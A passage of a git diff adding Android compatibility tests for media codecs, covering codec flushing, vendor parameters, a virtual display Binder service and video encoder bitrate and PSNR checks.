+    /**
+     * Test if flushing early in the playback does not prevent client from getting the
+     * latest configuration. Empirically, this happens most often when the
+     * codec is flushed after the first buffer is queued, so this test walks
+     * through the scenario.
+     */
+    public void testFlushAfterFirstBuffer() throws Exception {
+        if (MediaUtils.check(mIsAtLeastR, "test needs Android 11")) {
+            for (int i = 0; i < 100; ++i) {
+                doFlushAfterFirstBuffer();
+            }
+        }
+    }
+
+    private void doFlushAfterFirstBuffer() throws Exception {
+        MediaExtractor extractor = null;
+        MediaCodec codec = null;
+
+        try {
+            MediaFormat newFormat = null;
+            extractor = getMediaExtractorForMimeType(
+                    "noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a", "audio/");
+            int trackIndex = extractor.getSampleTrackIndex();
+            MediaFormat format = extractor.getTrackFormat(trackIndex);
+            codec = createCodecByType(
+                    format.getString(MediaFormat.KEY_MIME), false /* isEncoder */);
+            codec.configure(format, null, null, 0);
+            codec.start();
+            int firstInputIndex = codec.dequeueInputBuffer(0);
+            while (firstInputIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                firstInputIndex = codec.dequeueInputBuffer(5000);
+            }
+            assertTrue(firstInputIndex >= 0);
+            extractor.readSampleData(codec.getInputBuffer(firstInputIndex), 0);
+            codec.queueInputBuffer(
+                    firstInputIndex, 0, Math.toIntExact(extractor.getSampleSize()),
+                    extractor.getSampleTime(), extractor.getSampleFlags());
+            // Don't advance, so the first buffer will be read again after flush
+            codec.flush();
+            ByteBuffer csd = format.getByteBuffer("csd-0");
+            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+            // We don't need to decode many frames
+            int numFrames = 10;
+            boolean eos = false;
+            while (!eos) {
+                if (numFrames > 0) {
+                    int inputIndex = codec.dequeueInputBuffer(0);
+                    if (inputIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                        inputIndex = codec.dequeueInputBuffer(5000);
+                    }
+                    if (inputIndex >= 0) {
+                        ByteBuffer inputBuffer = codec.getInputBuffer(inputIndex);
+                        if (csd != null) {
+                            inputBuffer.clear();
+                            inputBuffer.put(csd);
+                            codec.queueInputBuffer(
+                                    inputIndex, 0, inputBuffer.position(), 0,
+                                    MediaCodec.BUFFER_FLAG_CODEC_CONFIG);
+                            csd = null;
+                        } else {
+                            int size = extractor.readSampleData(inputBuffer, 0);
+                            if (size <= 0) {
+                                break;
+                            }
+                            int flags = extractor.getSampleFlags();
+                            --numFrames;
+                            if (numFrames <= 0) {
+                                flags |= MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                            }
+                            codec.queueInputBuffer(
+                                    inputIndex, 0, size, extractor.getSampleTime(), flags);
+                            extractor.advance();
+                        }
+                    }
+                }
+
+                int outputIndex = codec.dequeueOutputBuffer(bufferInfo, 0);
+                if (outputIndex == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                    outputIndex = codec.dequeueOutputBuffer(bufferInfo, 5000);
+                }
+                if (outputIndex == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    newFormat = codec.getOutputFormat();
+                } else if (outputIndex >= 0) {
+                    if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                        eos = true;
+                    }
+                    codec.releaseOutputBuffer(outputIndex, false);
+                }
+            }
+            assertNotNull(newFormat);
+            assertEquals(48000, newFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+        } finally {
+            if (extractor != null) {
+                extractor.release();
+            }
+            if (codec != null) {
+                codec.stop();
+                codec.release();
+            }
+        }
+    }
+
+    public void testVendorParameters() {
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) {
+            return;
+        }
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo info : mcl.getCodecInfos()) {
+            if (info.isAlias()) {
+                continue;
+            }
+            MediaCodec codec = null;
+            if (!TestUtils.isTestableCodecInCurrentMode(info.getName())) {
+                Log.d(TAG, "skip testing codec " + info.getName() + " in current mode:"
+                                + (TestUtils.isMtsMode() ? " MTS" : " CTS"));
+                continue;
+            }
+            try {
+                codec = MediaCodec.createByCodecName(info.getName());
+                List<String> vendorParams = codec.getSupportedVendorParameters();
+                if (VERBOSE) {
+                    Log.d(TAG, "vendor params supported by " + info.getName() + ": " +
+                            vendorParams.toString());
+                }
+                for (String name : vendorParams) {
+                    MediaCodec.ParameterDescriptor desc = codec.getParameterDescriptor(name);
+                    assertNotNull(name + " is in the list of supported parameters, so the codec" +
+                            " should be able to describe it.", desc);
+                    assertEquals("name differs from the name in the descriptor",
+                            name, desc.getName());
+                    assertTrue("type in the descriptor cannot be TYPE_NULL",
+                            MediaFormat.TYPE_NULL != desc.getType());
+                    if (VERBOSE) {
+                        Log.d(TAG, name + " is of type " + desc.getType());
+                    }
+                }
+                codec.subscribeToVendorParameters(vendorParams);
+
+                // Build a MediaFormat that makes sense to the codec.
+                String type = info.getSupportedTypes()[0];
+                MediaFormat format = null;
+                CodecCapabilities caps = info.getCapabilitiesForType(type);
+                AudioCapabilities audioCaps = caps.getAudioCapabilities();
+                VideoCapabilities videoCaps = caps.getVideoCapabilities();
+                if (audioCaps != null) {
+                    format = MediaFormat.createAudioFormat(
+                            type,
+                            audioCaps.getSupportedSampleRateRanges()[0].getLower(),
+                            audioCaps.getMaxInputChannelCount());
+                    if (info.isEncoder()) {
+                        format.setInteger(MediaFormat.KEY_BIT_RATE, AUDIO_BIT_RATE);
+                    }
+                } else if (videoCaps != null) {
+                    int width = videoCaps.getSupportedWidths().getLower();
+                    int height = videoCaps.getSupportedHeightsFor(width).getLower();
+                    format = MediaFormat.createVideoFormat(type, width, height);
+                    if (info.isEncoder()) {
+                        EncoderCapabilities encCaps = caps.getEncoderCapabilities();
+                        if (encCaps != null) {
+                            int bitrateMode = -1;
+                            List<Integer> candidates = Arrays.asList(
+                                    EncoderCapabilities.BITRATE_MODE_VBR,
+                                    EncoderCapabilities.BITRATE_MODE_CBR,
+                                    EncoderCapabilities.BITRATE_MODE_CQ,
+                                    EncoderCapabilities.BITRATE_MODE_CBR_FD);
+                            for (int candidate : candidates) {
+                                if (encCaps.isBitrateModeSupported(candidate)) {
+                                    bitrateMode = candidate;
+                                    break;
+                                }
+                            }
+                            if (VERBOSE) {
+                                Log.d(TAG, "video encoder: bitrate mode = " + bitrateMode);
+                            }
+                            format.setInteger(MediaFormat.KEY_BITRATE_MODE, bitrateMode);
+                            switch (bitrateMode) {
+                            case EncoderCapabilities.BITRATE_MODE_VBR:
+                            case EncoderCapabilities.BITRATE_MODE_CBR:
+                            case EncoderCapabilities.BITRATE_MODE_CBR_FD:
+                                format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
+                                break;
+                            case EncoderCapabilities.BITRATE_MODE_CQ:
+                                format.setInteger(
+                                        MediaFormat.KEY_QUALITY,
+                                        encCaps.getQualityRange().getLower());
+                                if (VERBOSE) {
+                                    Log.d(TAG, "video encoder: quality = " +
+                                            encCaps.getQualityRange().getLower());
+                                }
+                                break;
+                            default:
+                                format.removeKey(MediaFormat.KEY_BITRATE_MODE);
+                            }
+                        }
+                        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+                        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+                        format.setInteger(
+                                MediaFormat.KEY_COLOR_FORMAT,
+                                CodecCapabilities.COLOR_FormatSurface);
+                    }
+                } else {
+                    Log.i(TAG, info.getName() + " is in neither audio nor video domain; skipped");
+                    codec.release();
+                    continue;
+                }
+                codec.configure(
+                        format, null, null,
+                        info.isEncoder() ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0);
+                Surface inputSurface = null;
+                if (videoCaps != null && info.isEncoder()) {
+                    inputSurface = codec.createInputSurface();
+                }
+                codec.start();
+                codec.unsubscribeFromVendorParameters(vendorParams);
+                codec.stop();
+            } catch (Exception e) {
+                throw new RuntimeException("codec name: " + info.getName(), e);
+            } finally {
+                if (codec != null) {
+                    codec.release();
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/RemoteVirtualDisplayService.java b/tests/tests/media/codec/src/android/media/codec/cts/RemoteVirtualDisplayService.java
new file mode 100644
index 0000000..fbcc904
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/RemoteVirtualDisplayService.java
@@ -0,0 +1,229 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.app.Presentation;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.drawable.ColorDrawable;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.util.Log;
+import android.view.Display;
+import android.view.Surface;
+import android.view.ViewGroup.LayoutParams;
+import android.view.WindowManager;
+import android.widget.ImageView;
+
+public class RemoteVirtualDisplayService extends Service {
+    private static final String TAG = "RemoteVirtualDisplayService";
+    private static final boolean DBG = false;
+    /** argument: Surface, int w, int h, return none */
+    private static final int BINDER_CMD_START = IBinder.FIRST_CALL_TRANSACTION;
+    /** argument: int color, return none */
+    private static final int BINDER_CMD_RENDER = IBinder.FIRST_CALL_TRANSACTION + 1;
+    private final Handler mHandlerForRunOnMain = new Handler(Looper.getMainLooper());;
+    private IBinder mBinder;
+    private VirtualDisplayPresentation mPresentation;
+
+    @Override
+    public void onCreate() {
+        Log.i(TAG, "onCreate");
+        mBinder = new Binder() {
+            @Override
+            protected boolean onTransact(int code, Parcel data, Parcel reply,
+                    int flags) throws RemoteException {
+                switch(code) {
+                    case BINDER_CMD_START: {
+                        Surface surface = Surface.CREATOR.createFromParcel(data);
+                        int w = data.readInt();
+                        int h = data.readInt();
+                        start(surface, w, h);
+                        break;
+                    }
+                    case BINDER_CMD_RENDER: {
+                        int color = data.readInt();
+                        render(color);
+                        break;
+                    }
+                    default:
+                        Log.e(TAG, "unrecognized binder command " + code);
+                        return false;
+                }
+                return true;
+            }
+        };
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        Log.i(TAG, "onBind");
+        return mBinder;
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.i(TAG, "onDestroy");
+        if (mPresentation != null) {
+            mPresentation.dismissPresentation();
+            mPresentation.destroyVirtualDisplay();
+            mPresentation = null;
+        }
+    }
+
+    private void start(Surface surface, int w, int h) {
+        Log.i(TAG, "start");
+        mPresentation = new VirtualDisplayPresentation(this, surface, w, h);
+        mPresentation.createVirtualDisplay();
+        mPresentation.createPresentation();
+    }
+
+    private void render(int color) {
+        if (DBG) {
+            Log.i(TAG, "render " + Integer.toHexString(color));
+        }
+        mPresentation.doRendering(color);
+    }
+
+    private class VirtualDisplayPresentation {
+        private Context mContext;
+        private Surface mSurface;
+        private int mWidth;
+        private int mHeight;
+        private final DisplayManager mDisplayManager;
+        private VirtualDisplay mVirtualDisplay;
+        private TestPresentation mPresentation;
+
+        VirtualDisplayPresentation(Context context, Surface surface, int w, int h) {
+            mContext = context;
+            mSurface = surface;
+            mWidth = w;
+            mHeight = h;
+            mDisplayManager = (DisplayManager)context.getSystemService(Context.DISPLAY_SERVICE);
+        }
+
+        void createVirtualDisplay() {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mVirtualDisplay = mDisplayManager.createVirtualDisplay(
+                            TAG, mWidth, mHeight, 200, mSurface, 0);
+                }
+            });
+        }
+
+        void destroyVirtualDisplay() {
+            if (mVirtualDisplay != null) {
+                mVirtualDisplay.release();
+            }
+        }
+
+        void createPresentation() {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mPresentation = new TestPresentation(RemoteVirtualDisplayService.this,
+                            mVirtualDisplay.getDisplay());
+                    mPresentation.show();
+                }
+            });
+        }
+
+        void dismissPresentation() {
+            if (mPresentation != null) {
+                mPresentation.dismiss();
+            }
+        }
+
+        public void doRendering(final int color) {
+            runOnMainSync(new Runnable() {
+                @Override
+                public void run() {
+                    mPresentation.doRendering(color);
+                }
+            });
+        }
+
+        private class TestPresentation extends Presentation {
+            private ImageView mImageView;
+
+            public TestPresentation(Context outerContext, Display display) {
+                // This theme is required to prevent an extra view from obscuring the presentation
+                super(outerContext, display,
+                        android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
+                getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+            }
+
+            @Override
+            protected void onCreate(Bundle savedInstanceState) {
+                super.onCreate(savedInstanceState);
+                mImageView = new ImageView(getContext());
+                mImageView.setImageDrawable(new ColorDrawable(0));
+                mImageView.setLayoutParams(new LayoutParams(
+                        LayoutParams.MATCH_PARENT, LayoutParams.MATCH_PARENT));
+                setContentView(mImageView);
+            }
+
+            public void doRendering(int color) {
+                mImageView.setImageDrawable(new ColorDrawable(color));
+            }
+        }
+    }
+
+    private void runOnMainSync(Runnable runner) {
+        SyncRunnable sr = new SyncRunnable(runner);
+        mHandlerForRunOnMain.post(sr);
+        sr.waitForComplete();
+    }
+
+    private static final class SyncRunnable implements Runnable {
+        private final Runnable mTarget;
+        private boolean mComplete;
+
+        public SyncRunnable(Runnable target) {
+            mTarget = target;
+        }
+
+        public void run() {
+            mTarget.run();
+            synchronized (this) {
+                mComplete = true;
+                notifyAll();
+            }
+        }
+
+        public void waitForComplete() {
+            synchronized (this) {
+                while (!mComplete) {
+                    try {
+                        wait();
+                    } catch (InterruptedException e) {
+                        //ignore
+                    }
+                }
+            }
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/VideoCodecTest.java b/tests/tests/media/codec/src/android/media/codec/cts/VideoCodecTest.java
new file mode 100644
index 0000000..562e7c5
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/VideoCodecTest.java
@@ -0,0 +1,671 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.cts.MediaCodecWrapper;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.TestArgs;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Verification test for video encoder and decoder.
+ *
+ * A raw yv12 stream is encoded at various settings and written to an IVF
+ * file. Encoded stream bitrate and key frame interval are checked against target values.
+ * The stream is later decoded by video decoder to verify frames are decodable and to
+ * calculate PSNR values for various bitrates.
+ */
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(Parameterized.class)
+public class VideoCodecTest extends VideoCodecTestBase {
+
+    private static final String ENCODED_IVF_BASE = "football";
+    private static final String INPUT_YUV = null;
+    private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
+            ENCODED_IVF_BASE + "_out.yuv";
+
+    // YUV stream properties.
+    private static final int WIDTH = 320;
+    private static final int HEIGHT = 240;
+    private static final int FPS = 30;
+    // Default encoding bitrate.
+    private static final int BITRATE = 400000;
+    // List of bitrates used in quality and basic bitrate tests.
+    private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
+    // Maximum allowed bitrate variation from the target value.
+    // Keep in sync with the variation at libmediandkjni/native_media_utils.h
+    // used in some tests along with BITRATE
+    private static final double MAX_BITRATE_VARIATION = 0.2;
+    // The tolerance varies by the bitrate, because lower bitrates interact with
+    // video quality standards introduced in Android 12.
+    private static final double[] MAX_CBR_BITRATE_VARIATIONS = { 0.20, 0.20, 0.20, 0.20 };
+    private static final double[] MAX_VBR_BITRATE_VARIATIONS = { 0.30, 0.20, 0.20, 0.20 };
+    // Average PSNR values for reference Google Video codec for the above bitrates.
+    private static final double[] REFERENCE_AVERAGE_PSNR = { 33.1, 35.2, 36.6, 37.8 };
+    // Minimum PSNR values for reference Google Video codec for the above bitrates.
+    private static final double[] REFERENCE_MINIMUM_PSNR = { 25.9, 27.5, 28.4, 30.3 };
+    // Maximum allowed average PSNR difference of encoder comparing to reference Google encoder.
+    private static final double MAX_AVERAGE_PSNR_DIFFERENCE = 2;
+    // Maximum allowed minimum PSNR difference of encoder comparing to reference Google encoder.
+    private static final double MAX_MINIMUM_PSNR_DIFFERENCE = 4;
+    // Maximum allowed average PSNR difference of the encoder running in a looper thread with 0 ms
+    // buffer dequeue timeout comparing to the encoder running in a callee's thread with 100 ms
+    // buffer dequeue timeout.
+    private static final double MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE = 1.5;
+    // Maximum allowed minimum PSNR difference of the encoder running in a looper thread
+    // comparing to the encoder running in a callee's thread.
+    private static final double MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE = 2;
+    // Maximum allowed average key frame interval variation from the target value.
+    private static final int MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION = 1;
+    // Maximum allowed key frame interval variation from the target value.
+    private static final int MAX_KEYFRAME_INTERVAL_VARIATION = 3;
+
+    @Parameterized.Parameter(0)
+    public String mCodecName;
+
+    @Parameterized.Parameter(1)
+    public String mCodecMimeType;
+
+    @Parameterized.Parameter(2)
+    public int mBitRateMode;
+
+    static private List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
+        for (Object[] arg : exhaustiveArgsList) {
+            String mediaType = (String)arg[0];
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] encodersForMime = MediaUtils.getEncoderNamesForMime(mediaType);
+            for (String encoder : encodersForMime) {
+                if (TestArgs.shouldSkipCodec(encoder)) {
+                    continue;
+                }
+                Object[] testArgs = new Object[argLength + 1];
+                testArgs[0] = encoder;
+                System.arraycopy(arg, 0, testArgs, 1, argLength);
+                argsList.add(testArgs);
+            }
+        }
+        return argsList;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}:{1}:{2})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                {VP8_MIME, VIDEO_ControlRateConstant},
+                {VP8_MIME, VIDEO_ControlRateVariable},
+                {VP9_MIME, VIDEO_ControlRateConstant},
+                {VP9_MIME, VIDEO_ControlRateVariable},
+                {AVC_MIME, VIDEO_ControlRateConstant},
+                {AVC_MIME, VIDEO_ControlRateVariable},
+                {HEVC_MIME, VIDEO_ControlRateConstant},
+                {HEVC_MIME, VIDEO_ControlRateVariable},
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    /**
+     * A basic test for Video encoder.
+     *
+     * Encodes 9 seconds of raw stream with default configuration options,
+     * and then decodes it to verify the bitstream.
+     * Verifies the average bitrate is within allowed MAX_BITRATE_VARIATIONS[] of
+     * the target value.
+     */
+    private void internalTestBasic(String codecName, String codecMimeType, int bitRateMode)
+            throws Exception {
+        int encodeSeconds = 9;
+        boolean skipped = true;
+
+        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
+            int targetBitrate = TEST_BITRATES_SET[i];
+
+            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                    INPUT_YUV,
+                    ENCODED_IVF_BASE,
+                    codecName,
+                    codecMimeType,
+                    encodeSeconds,
+                    WIDTH,
+                    HEIGHT,
+                    FPS,
+                    bitRateMode,
+                    targetBitrate,
+                    true);
+            ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+            VideoEncodeOutput videoEncodeOutput = encode(params, codecConfigs);
+            ArrayList<MediaCodec.BufferInfo> bufInfo = videoEncodeOutput.bufferInfo;
+            if (bufInfo == null) {
+                continue;
+            }
+            skipped = false;
+
+            VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+            if (params.bitrateType == VIDEO_ControlRateConstant) {
+                /* Constant bitrate -- variation applies to both over/under */
+                double allowedVariance = MAX_CBR_BITRATE_VARIATIONS[i];
+                assertEquals("Stream bitrate " + statistics.mAverageBitrate +
+                    " differs from the target " + targetBitrate
+                    + " by more than " + allowedVariance * targetBitrate,
+                    targetBitrate, statistics.mAverageBitrate,
+                    allowedVariance * targetBitrate);
+            } else if (params.bitrateType == VIDEO_ControlRateVariable
+                            && statistics.mAverageBitrate > targetBitrate) {
+                /* VIDEO_ControlRateVariable mode only checks over-run */
+                double allowedVariance = MAX_VBR_BITRATE_VARIATIONS[i];
+                assertEquals("Stream bitrate " + statistics.mAverageBitrate
+                    + " above target " + targetBitrate
+                    + " by more than " + allowedVariance * targetBitrate,
+                    targetBitrate, statistics.mAverageBitrate,
+                    allowedVariance * targetBitrate);
+            }
+
+            decode(params.outputIvfFilename, null, codecMimeType, FPS, codecConfigs);
+        }
+
+        if (skipped) {
+            Log.i(TAG, "SKIPPING testBasic(): codec is not supported");
+        }
+    }
+
+    /**
+     * Asynchronous encoding test for Video encoder.
+     *
+     * Encodes 9 seconds of raw stream using synchronous and asynchronous calls.
+     * Checks the PSNR difference between the encoded and decoded output and reference yuv input
+     * does not change much for two different ways of the encoder call.
+     */
+    private void internalTestAsyncEncoding(String codecName, String codecMimeType, int bitRateMode)
+            throws Exception {
+        int encodeSeconds = 9;
+
+        // First test the encoder running in a looper thread with buffer callbacks enabled.
+        boolean syncEncoding = false;
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecName,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                BITRATE,
+                syncEncoding);
+        ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+        VideoEncodeOutput videoEncodeOutput = encodeAsync(params, codecConfigs);
+        ArrayList<MediaCodec.BufferInfo> bufInfos = videoEncodeOutput.bufferInfo;
+        if (bufInfos == null) {
+            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+            return;
+        }
+        computeEncodingStatistics(bufInfos);
+        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, codecConfigs);
+        VideoDecodingStatistics statisticsAsync = computeDecodingStatistics(
+                params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
+                params.frameWidth, params.frameHeight);
+
+
+        // Test the encoder running in a callee's thread.
+        syncEncoding = true;
+        params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecName,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                BITRATE,
+                syncEncoding);
+        codecConfigs.clear();
+        videoEncodeOutput = encode(params, codecConfigs);
+        bufInfos = videoEncodeOutput.bufferInfo;
+        if (bufInfos == null) {
+            Log.i(TAG, "SKIPPING testAsyncEncoding(): no suitable encoder found");
+            return;
+        }
+        computeEncodingStatistics(bufInfos);
+        decode(params.outputIvfFilename, OUTPUT_YUV, codecMimeType, FPS, codecConfigs);
+        VideoDecodingStatistics statisticsSync = computeDecodingStatistics(
+                params.inputYuvFilename, "football_qvga.yuv", OUTPUT_YUV,
+                params.frameWidth, params.frameHeight);
+
+        // Check PSNR difference.
+        Log.d(TAG, "PSNR Average: Async: " + statisticsAsync.mAveragePSNR +
+                ". Sync: " + statisticsSync.mAveragePSNR);
+        Log.d(TAG, "PSNR Minimum: Async: " + statisticsAsync.mMinimumPSNR +
+                ". Sync: " + statisticsSync.mMinimumPSNR);
+        if ((Math.abs(statisticsAsync.mAveragePSNR - statisticsSync.mAveragePSNR) >
+            MAX_ASYNC_AVERAGE_PSNR_DIFFERENCE) ||
+            (Math.abs(statisticsAsync.mMinimumPSNR - statisticsSync.mMinimumPSNR) >
+            MAX_ASYNC_MINIMUM_PSNR_DIFFERENCE)) {
+            throw new RuntimeException("Difference between PSNRs for async and sync encoders");
+        }
+    }
+
+    /**
+     * Check if MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME is honored.
+     *
+     * Encodes 9 seconds of raw stream and requests a sync frame every second (30 frames).
+     * The test does not verify the output stream.
+     */
+    private void internalTestSyncFrame(String codecName, String codecMimeType, int bitRateMode,
+            boolean useNdk) throws Exception {
+        int encodeSeconds = 9;
+
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecName,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                BITRATE,
+                true);
+        params.syncFrameInterval = encodeSeconds * FPS;
+        params.syncForceFrameInterval = FPS;
+        params.useNdk = useNdk;
+        VideoEncodeOutput videoEncodeOutput = encode(params);
+        ArrayList<MediaCodec.BufferInfo> bufInfo = videoEncodeOutput.bufferInfo;
+        if (bufInfo == null) {
+            Log.i(TAG, "SKIPPING testSyncFrame(): no suitable encoder found");
+            return;
+        }
+
+        VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+        // First check if we got expected number of key frames.
+        int actualKeyFrames = statistics.mKeyFrames.size();
+        if (actualKeyFrames != encodeSeconds) {
+            throw new RuntimeException("Number of key frames " + actualKeyFrames +
+                    " is different from the expected " + encodeSeconds);
+        }
+
+        // Check key frame intervals:
+        // Average value should be within +/- 1 frame of the target value,
+        // maximum value should not be greater than target value + 3,
+        // and minimum value should not be less that target value - 3.
+        if (Math.abs(statistics.mAverageKeyFrameInterval - FPS) >
+            MAX_AVERAGE_KEYFRAME_INTERVAL_VARIATION ||
+            (statistics.mMaximumKeyFrameInterval - FPS > MAX_KEYFRAME_INTERVAL_VARIATION) ||
+            (FPS - statistics.mMinimumKeyFrameInterval > MAX_KEYFRAME_INTERVAL_VARIATION)) {
+            throw new RuntimeException(
+                    "Key frame intervals are different from the expected " + FPS);
+        }
+    }
+
+    /**
+     * Check if MediaCodec.PARAMETER_KEY_VIDEO_BITRATE is honored.
+     *
+     * Run the the encoder for 12 seconds. Request changes to the
+     * bitrate after 6 seconds and ensure the encoder responds.
+     */
+    private void internalTestDynamicBitrateChange(String codecName, String codecMimeType,
+            int bitRateMode, boolean useNdk) throws Exception {
+        int encodeSeconds = 12;    // Encoding sequence duration in seconds.
+        int[] bitrateTargetValues = { 400000, 800000 };  // List of bitrates to test.
+
+        EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                INPUT_YUV,
+                ENCODED_IVF_BASE,
+                codecName,
+                codecMimeType,
+                encodeSeconds,
+                WIDTH,
+                HEIGHT,
+                FPS,
+                bitRateMode,
+                bitrateTargetValues[0],
+                true);
+
+        // Number of seconds for each bitrate
+        int stepSeconds = encodeSeconds / bitrateTargetValues.length;
+        // Fill the bitrates values.
+        params.bitrateSet = new int[encodeSeconds * FPS];
+        for (int i = 0; i < bitrateTargetValues.length ; i++) {
+            Arrays.fill(params.bitrateSet,
+                    i * encodeSeconds * FPS / bitrateTargetValues.length,
+                    (i + 1) * encodeSeconds * FPS / bitrateTargetValues.length,
+                    bitrateTargetValues[i]);
+        }
+
+        params.useNdk = useNdk;
+        VideoEncodeOutput videoEncodeOutput = encode(params);
+        ArrayList<MediaCodec.BufferInfo> bufInfo = videoEncodeOutput.bufferInfo;
+        if (bufInfo == null) {
+            Log.i(TAG, "SKIPPING testDynamicBitrateChange(): no suitable encoder found");
+            return;
+        }
+
+        VideoEncodingStatistics statistics = computeEncodingStatistics(bufInfo);
+
+        // Calculate actual average bitrates  for every [stepSeconds] second.
+        int[] bitrateActualValues = new int[bitrateTargetValues.length];
+        for (int i = 0; i < bitrateTargetValues.length ; i++) {
+            bitrateActualValues[i] = 0;
+            for (int j = i * stepSeconds; j < (i + 1) * stepSeconds; j++) {
+                bitrateActualValues[i] += statistics.mBitrates.get(j);
+            }
+            bitrateActualValues[i] /= stepSeconds;
+            Log.d(TAG, "Actual bitrate for interval #" + i + " : " + bitrateActualValues[i] +
+                    ". Target: " + bitrateTargetValues[i]);
+
+            // Compare actual bitrate values to make sure at least same increasing/decreasing
+            // order as the target bitrate values.
+            for (int j = 0; j < i; j++) {
+                long differenceTarget = bitrateTargetValues[i] - bitrateTargetValues[j];
+                long differenceActual = bitrateActualValues[i] - bitrateActualValues[j];
+                if (differenceTarget * differenceActual < 0) {
+                    throw new RuntimeException("Target bitrates: " +
+                            bitrateTargetValues[j] + " , " + bitrateTargetValues[i] +
+                            ". Actual bitrates: "
+                            + bitrateActualValues[j] + " , " + bitrateActualValues[i]);
+                }
+            }
+        }
+    }
